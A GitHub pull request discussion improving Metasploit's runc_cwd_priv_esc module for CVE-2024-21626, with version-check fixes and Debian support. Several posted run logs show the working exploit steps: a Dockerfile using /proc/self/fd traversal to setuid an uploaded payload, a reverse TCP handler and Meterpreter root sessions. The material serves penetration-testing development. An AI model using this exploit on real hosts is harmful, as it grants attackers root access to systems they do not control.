Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

More versions supported, fix bugs, allow Debian. (CVE-2024-21626) #18838

Merged
5 commits merged into from Mar 18, 2024

Conversation

SickMcNugget
Copy link
Contributor

updates #18780

Uses the Ubuntu version checking, with a fallback to the Rex::Version system to check the runc version. The old system used to allow runC version 1.1.12 (which is patched). Now it allows from 1.0.0-rc93->1.1.11 (and I tested that it works as expected). Support added for Debian as this was tested with both Debian and Ubuntu. Newer versions of Docker wouldn't delete the built container due to the message format. I added a new regex to check for the message format which now deletes containers.

Fixed error reporting bug, runC version sanitising
Some runC versions contain the + and ~ token. These break Rex::Version objects. A simple check was added against these symbols and anything following them is cut off. Another solution may be to replace these tokens with the - symbol to maintain information. One of the failure cases was unreachable and this was fixed.

Fix runC and docker presence checks
The old runC and docker presence checks wer using if instead of unless. executable? also requires a full path to work correctly. Since only the command names themselves were being passed in, the check was silently failing. The chosen fix was to instead use the command_exists? function, which has the added benefit of working on both Windows and Linux.

Verification

  • Start msfconsole
  • use exploit/linux/local/runc_cwd_priv_esc
  • set SESSION
  • set LHOST
  • run
  • root shell acquired
  • Docker container deleted

Output

  • Regardless of whether ForceExploit was true or false, runC version 1.1.12 used to be treated as vulnerable, which this fixes.
  • Containers were not being deleted due to the output from docker engine below not meeting the regex expectations.
  • FD 7 has always been the correct descriptor so far in my experience, so I have set it as default.

runC check

msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true

[*] Started reverse TCP handler on 192.168.20.24:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. runc 1.1.12 is not vulnerable "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

Valid run

msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true

[*] Started reverse TCP handler on 192.168.20.24:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
[*] Creating directory /tmp/.jwBZNB
[*] /tmp/.jwBZNB created
[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] #0 building with "default" instance using docker driver
[*] 
[*] #1 [internal] load build definition from Dockerfile
[*] #1 transferring dockerfile: 217B done
[*] #1 DONE 0.0s
[*] 
[*] #2 [internal] load metadata for docker.io/library/alpine:latest
[*] #2 DONE 3.5s
[*] 
[*] #3 [internal] load .dockerignore
[*] #3 transferring context: 2B done
[*] #3 DONE 0.0s
[*] 
[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
[*] #4 DONE 0.0s
[*] 
[*] #5 [2/3] WORKDIR /proc/self/fd/7
[*] #5 CACHED
[*] 
[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
[*] #6 DONE 0.3s
[*] 
[*] #7 exporting to image
[*] #7 exporting layers 0.0s done
[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
[*] #7 DONE 0.1s
[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.20.25
[+] Deleted /tmp/.jwBZNB/.cleXu7
[+] Deleted /tmp/.jwBZNB/Dockerfile
[+] Deleted /tmp/.jwBZNB
[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.20.25
OS           : Debian 12.4 (Linux 6.1.0-17-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Now uses the Rex::Version system to check the user's version of runC.
The old system used to allow runC version 1.1.12 (which is patched).
Now it allows from 1.0.0-rc93->1.1.11 (and I tested that it works as expected).
Support added for Debian as this was tested with both Debian and Ubuntu.
Newer versions of Docker wouldn't delete the built container due to the message format.
I added a new regex to check for the message format which now deletes containers.

Fixed error reporting bug, runC version sanitising

Some runC versions contain the `+` and `~` token. These break
Rex::Version objects. A simple check was added against these symbols
and anything following them is cut off. Another solution may be
to replace these tokens with the `-` symbol to maintain information.
One of the failure cases was unreachable and this was fixed.

Fix runC and docker presence checks

The old runC and docker presence checks wer using `if` instead of `unless`.
executable? also requires a full path to work correctly. Since only the command
names themselves were being passed in, the check was silently failing.
The chosen fix was to instead use the command_exists? function,
which has the added benefit of working on both Windows and Linux.
@jheysel-r7 jheysel-r7 self-assigned this Feb 23, 2024
@jheysel-r7
Copy link
Contributor

Hey @SickMcNugget, thanks for the PR. The changes look okay to me although I wasn't able to get a session when exploiting Debian 12.4. It could be due to the runc version that I have: 1.1.5+ds1. Though that version falls into the vulnerable range and satisfies the check method.

I was also unsuccessful in getting a session on Ubuntu with runv version: 1.1.7-0ubuntu1~22.04.2.
The only target I was successful with was Kali 2023.3 with runc version: 1.1.10+ds1.

I did rerun the exploit multiple times while increasing the FILEDESCRIPTOR from 1 - 10.

It seems as though only specific runc versions are vulnerable and I'm wondering if we might be able to improve the check method to reflect that. @h00die, do you have any insight as to why the module wasn't working on the following Ubuntu and Debian systems:

Debian 12.4 Not working

Target Info:

msfuser@debian:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 12 (bookworm)
Release:	12
Codename:	bookworm
msfuser@debian:~$ docker -v
Docker version 20.10.24+dfsg1, build 297e128
msfuser@debian:~$ runc -v
runc version 1.1.5+ds1
commit: 1.1.5+ds1-1+deb12u1
spec: 1.0.2-dev
go: go1.19.8
libseccomp: 2.5.4

Module Output:

msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1 detected
[*] Creating directory /tmp/.G8Um4du3Q
[*] /tmp/.G8Um4du3Q created
[*] Uploading Payload to /tmp/.G8Um4du3Q/.cGLsLbd
[*] Uploading Dockerfile to /tmp/.G8Um4du3Q/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*]             Install the buildx component to build images with BuildKit:
[*]             https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon  3.072kB
[*] Step 1/3 : FROM alpine:latest
[*]  ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/7
[*]  ---> Using cache
[*]  ---> 79492d4e8be3
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 tmp/.G8Um4du3Q && chown -R root:root tmp/.G8Um4du3Q && chmod u+s tmp/.G8Um4du3Q/.cGLsLbd
[*]  ---> Running in 162e45f0c291
[*] failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type
[-] Exploit aborted due to failure: no-access: File Descriptor 7 not available, try again (likely) or adjust FILEDESCRIPTOR.

Ubuntu 22.04.1 Not working

Target Info:

msfuser@msfuser-virtual-machine:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 22.04.1 LTS
Release:	22.04
Codename:	jammy
msfuser@msfuser-virtual-machine:~$ docker -v
Docker version 24.0.5, build 24.0.5-0ubuntu1~22.04.1
msfuser@msfuser-virtual-machine:~$ runc -v
runc version 1.1.7-0ubuntu1~22.04.2
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3

Module Output:

msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1 detected
[*] Creating directory /tmp/.G8Um4du3Q
[*] /tmp/.G8Um4du3Q created
[*] Uploading Payload to /tmp/.G8Um4du3Q/.cGLsLbd
[*] Uploading Dockerfile to /tmp/.G8Um4du3Q/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*]             Install the buildx component to build images with BuildKit:
[*]             https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon  3.072kB
[*] Step 1/3 : FROM alpine:latest
[*]  ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/7
[*]  ---> Using cache
[*]  ---> 79492d4e8be3
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 tmp/.G8Um4du3Q && chown -R root:root tmp/.G8Um4du3Q && chmod u+s tmp/.G8Um4du3Q/.cGLsLbd
[*]  ---> Running in 162e45f0c291
[*] failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type
[-] Exploit aborted due to failure: no-access: File Descriptor 7 not available, try again (likely) or adjust FILEDESCRIPTOR.

Kali Linux 2023.3 Working

Target info:

➜  ~ lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2023.3
Codename:       kali-rolling
➜  ~ docker -v   
Docker version 20.10.25+dfsg1, build b82b9f3
➜  ~ runc -v
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

Module output:

msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.10 detected
[*] Creating directory /tmp/.0Q8ZPIV
[*] /tmp/.0Q8ZPIV created
[*] Uploading Payload to /tmp/.0Q8ZPIV/.vWYk89
[*] Uploading Dockerfile to /tmp/.0Q8ZPIV/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] Sending build context to Docker daemon  3.072kB
[*] Step 1/3 : FROM alpine:3.18.6
[*]  ---> d3782b16ccc9
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*]  ---> Running in ccfc9466cdee
[*] Removing intermediate container ccfc9466cdee
[*]  ---> 5322bafed497
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 tmp/.0Q8ZPIV && chown -R root:root tmp/.0Q8ZPIV && chmod u+s tmp/.0Q8ZPIV/.vWYk89
[*]  ---> Running in c3e75cd97a61
[*] Removing intermediate container c3e75cd97a61
[*]  ---> 31c6f7c88c5c
[*] Successfully built 31c6f7c88c5c
[*] Removing created docker image 31c6f7c88c5c
[*] Deleted: sha256:31c6f7c88c5ccc6d49468c79fda19dadc79f7f4927bc3ba31cb5b452c0fc6924
[*] Deleted: sha256:5322bafed4971cac5ab2117351d4e6a5117945402fff161d27f66e14444f8d47
[*] Deleted: sha256:2fce2df77af1f8d8e9ca00089c0c03c1cf82a955b7f8a642ab25b8afe69bf5c5
[*] Payload permissions set, executing payload (/tmp/.0Q8ZPIV/.vWYk89)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.138
[+] Deleted /tmp/.0Q8ZPIV/.vWYk89
[+] Deleted /tmp/.0Q8ZPIV/Dockerfile
[+] Deleted /tmp/.0Q8ZPIV
[*] Meterpreter session 10 opened (172.16.199.1:5555 -> 172.16.199.138:34742) at 2024-02-26 15:47:15 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.138
OS           : Debian  (Linux 6.3.0-kali1-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@SickMcNugget
Copy link
Contributor Author

SickMcNugget commented Feb 28, 2024

@jheysel-r7 That's definitely a good point. I've had trouble replicating the issue on some versions of runc as well, even though the original security advisory states that the bug should be present for versions in the range [1.0.0-rc93, 1.1.11].

I know for absolute sure that 1.1.11 works, so I could simply remove the range-based check altogether and fall back on h00die's original versions with 1.1.11 added.

It could instead be worth using the range check as a fallback with a less confident return message. Happy to work with any suggestions.

@jheysel-r7
Copy link
Contributor

@jheysel-r7 That's definitely a good point. I've had trouble replicating the issue on some versions of runc as well, even though the original security advisory states that the bug should be present for versions in the range [1.0.0-rc93, 1.1.11].

I know for absolute sure that 1.1.11 works, so I could simply remove the range-based check altogether and fall back on h00die's original versions with 1.1.11 added.

It could instead be worth using the range check as a fallback with a less confident return message. Happy to work with any suggestions.

Hey @SickMcNugget, the patch has been back-ported to a number of versions within the range [1.0.0-rc93, 1.1.11]. I should have realize that yesterday when testing but it just clicked this morning. Anyways, that makes the check method super fun and exciting. I'll try and push a fix sometime soon.

@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Feb 28, 2024

With commit 6589b86, the check method now reports not vulnerable for back-ported versions;

On Debian:

msf6 exploit(linux/local/runc_cwd_priv_esc) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. runc version 1.1.5+ds1-1+deb12u1 is not vulnerable "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

And ubuntu:

msf6 exploit(linux/local/runc_cwd_priv_esc) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. runc version 1.1.7-0ubuntu1~22.04.2 is not vulnerable "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

But still reports CheckCode::Detected appropriately for affected versions:

msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version of runc detected appears to be vulnerable: 1.1.10+ds1-1
[*] Building from Dockerfile to set our payload permissions
[*] Removing created docker image 1b5b267e3353
[*] Payload permissions set, executing payload (/tmp/.7O4vhDLMwp/.tZft1zw)...
[*] Sending stage (3045380 bytes) to 172.16.199.138
[+] Deleted /tmp/.7O4vhDLMwp/.tZft1zw
[+] Deleted /tmp/.7O4vhDLMwp/Dockerfile
[+] Deleted /tmp/.7O4vhDLMwp
[*] Meterpreter session 4 opened (172.16.199.1:5555 -> 172.16.199.138:34866) at 2024-02-28 10:28:20 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.138
OS           : Debian  (Linux 6.3.0-kali1-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@SickMcNugget
Copy link
Contributor Author

I didn't realise you could commit directly to my branch so I may have just broken everything. 👍

@jheysel-r7
Copy link
Contributor

Ahh sorry about that @SickMcNugget - but no worries you didn't break anything. I just retested the module and it's working great, landing now. 🚀

msf6 exploit(linux/local/runc_cwd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version of runc detected appears to be vulnerable: 1.1.10+ds1-1.
[*] Building from Dockerfile to set our payload permissions
[*] Removing created docker image 5eebd382115d
[*] Payload permissions set, executing payload (/tmp/.1zGTD8ZHor/.Q1gKkXqW1)...
[*] Sending stage (3045380 bytes) to 172.16.199.138
[+] Deleted /tmp/.1zGTD8ZHor/.Q1gKkXqW1
[+] Deleted /tmp/.1zGTD8ZHor/Dockerfile
[+] Deleted /tmp/.1zGTD8ZHor
[*] Meterpreter session 2 opened (172.16.199.1:5555 -> 172.16.199.138:53994) at 2024-03-18 12:56:57 -0700

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.138
OS           : Debian  (Linux 6.3.0-kali1-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@jheysel-r7 jheysel-r7 closed this pull request by merging all changes into rapid7:master in bf0d81d Mar 18, 2024
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Mar 18, 2024

Release Notes

This adds support for Debian and includes a number of fixes and improvements for the runc_cwd_priv_esc module. Prior to this fix, the module would incorrectly report some of the versions that the patch had been back ported to as vulnerable.

@jheysel-r7 jheysel-r7 added the rn-enhancement release notes enhancement label Mar 18, 2024
@h00die
Copy link
Contributor

h00die commented Mar 18, 2024

woohoo, thanks for all the additions @SickMcNugget

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-enhancement release notes enhancement
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

3 participants